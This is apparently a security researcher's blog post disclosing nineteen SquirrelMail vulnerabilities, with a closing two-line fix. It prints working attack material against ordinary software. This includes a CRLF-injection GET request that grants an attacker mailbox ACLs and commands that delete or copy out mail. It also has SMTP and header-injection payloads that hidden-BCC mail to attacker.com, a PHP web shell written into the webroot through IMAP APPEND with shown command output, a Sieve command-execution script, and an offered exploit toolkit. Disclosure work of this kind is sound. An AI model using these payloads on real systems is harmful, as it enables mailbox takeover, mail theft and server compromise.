Notes, scripts & things that barely works

Nutcracking SquirrelMail: 19 Undocumented Vulnerabilities

SquirrelMail has been end-of-life since 2011. It’s still sitting in production behind corporate proxies, university mail portals and a surprising number of hosting panels. So one quiet afternoon I pulled the source and started reading. Nineteen vulnerabilities later, two of them chaining all the way to remote code execution, I’m fairly sure nobody read this code after 2011 either.

Here’s the whole thing: the one bug that got fixed in a single file and forgotten everywhere else, the fourteen places it still lives, the two ways it turns into a shell, and the toolkit that ties it together.

The root cause

SquirrelMail does sanitize ent_id and passed_id. Once. In src/download.php. Someone noticed the problem, wrote two lines, and called it a day.

$ent_id = str_replace(array("\r", "\n"), array("", ""), $ent_id);

That fix never made it to the other fourteen files doing the exact same thing.

IMAP uses \r\n as a command terminator. Put that in a parameter before it hits the wire and you close the current command and start a new one. Authenticated session. As the victim. That’s the entire bug: fourteen vectors and two RCE chains, all from a newline nobody stripped.

The squirrels didn’t prepare for winter.

The findings

IMAP injection, 14 vectors

Same bug in fourteen places. A GET parameter walks into an IMAP command with no sanitization, the session is already authenticated, and \r\n terminates the command so you inject whatever you want after it.

src/view_header.php            — passed_ent_id
src/read_body.php              — passed_ent_id
src/vcard.php                  — ent_id
src/view_text.php              — ent_id
src/message_details_bottom.php — passed_ent_id
plugins/spamcop/spamcop.php    — passed_ent_id
src/search.php                 — search_what
src/folders_create.php         — folder
src/folders_rename_do.php      — old_name, new_name
sqimap_subscribe()             — mailbox
sqimap_mailbox_list()          — folder_prefix
plugins/filters/filters.php    — filter_folder
functions/imap_mailbox.php     — sort field

What you get depends on the server. Dovecot with ACL enabled hands you SETACL INBOX attacker lrswipekxtecda and full mailbox access. Any server at all lets you run STORE 1:* +FLAGS (\Deleted) followed by EXPUNGE and the mailbox is gone. NAMESPACE gives you user enumeration. COPY 1:* "Exfiltrated" quietly duplicates everything before you burn it.

GET /squirrelmail/src/download.php?passed_id=1&mailbox=INBOX&ent_id=1]%0d%0aA002%20SETACL%20INBOX%20attacker%20lrswipekxtecda

SMTP injection via the Host header

SquirrelMail uses the HTTP Host header as the EHLO domain when it sends mail.

fputs($stream, "EHLO $helohost\r\n");

$helohost comes straight from $HTTP_HOST, unsanitized. A newline in the Host header and you’re inside the SMTP session: hidden BCC, sender spoofing with RSET and a fresh MAIL FROM, VRFY for user enumeration, multiple RCPT TO to turn the box into a spam relay.

Host: evil.com\r\nRCPT TO:<bcc@attacker.com>

Email header injection via X-Forwarded-For

Every outgoing email gets a Received: header stamped with the sender IP.

$header[] = "Received: from $received_from (proxying for $HTTP_X_FORWARDED_FOR)";

$HTTP_X_FORWARDED_FOR isn’t sanitized either. A newline and you’re appending headers to every message the victim sends.

X-Forwarded-For: 1.2.3.4\r\nBcc: hidden@attacker.com

SSRF in the mail_fetch plugin

mail_fetch lets any authenticated user configure an external server to pull mail from. That value goes straight into fsockopen().

$pop3->connect($mailfetch_server[$i], $mailfetch_port[$i]);

No whitelist, so you point it wherever you like: cloud metadata endpoints, internal SMTP, a database, anything reachable over TCP.

The chains

Chain 1: UW-IMAP APPEND to RCE

UW-IMAP treats mailbox names as filesystem paths, and APPEND writes a message into a mailbox. Put those two facts next to each other and the mailbox name becomes a file path you control.

conn.send_command("A002 SELECT INBOX")
conn.send_command(f"A003 APPEND /var/www/html/shell.php (\\Seen) {{{size}}}")
conn.send_command("<?php system($_GET['c']); ?>")

IMAP writes your PHP into the webroot. Then you just ask for it over HTTP.

$ curl http://target/shell.php?c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl http://target/shell.php?c=uname+-a
Linux uwimap 6.12.76-linuxkit x86_64

Confirmed in the lab: valid credentials to a shell in a single chain.

Chain 2: Dovecot Sieve SETMETADATA

Dovecot can store Sieve scripts through SETMETADATA. With vnd.dovecot.execute enabled, those scripts run system commands. Inject the script over IMAP and let the server run it for you.

sieve = b'require ["vnd.dovecot.execute"];\nexecute "id" > /tmp/out;\n'
conn.send_command(f"A002 SETMETADATA INBOX (/private/vendor.dovecot.sieve) {{{len(sieve)}}}")
conn.send_command(sieve.decode())

Dovecot accepted the script in the lab and execution triggered on the next incoming email. This isn’t a default configuration, it needs vnd.dovecot.execute, but after digging around I can confirm it exists in real production deployments.

The toolkit

NUTCRACKER ties all of it together: auto-login, IMAP server detection, every injection vector, mail exfiltration and deletion, ACL takeover, CSRF payload generation, and both RCE routes, the UW-IMAP reverse shell and the Dovecot Sieve injection.

python3 nutcracker.py --target http://target/squirrelmail/ --user victim --pass password123 --mode full

The fix

Two lines. That’s all it ever was.

$ent_id = str_replace(array("\r", "\n"), array("", ""), $ent_id);
if (!preg_match('/^[0-9.]+$/', $ent_id)) { $ent_id = 1; }

Apply it to every file in the findings. And if you’re still running SquirrelMail in 2026, the real fix is to burn the server and start over.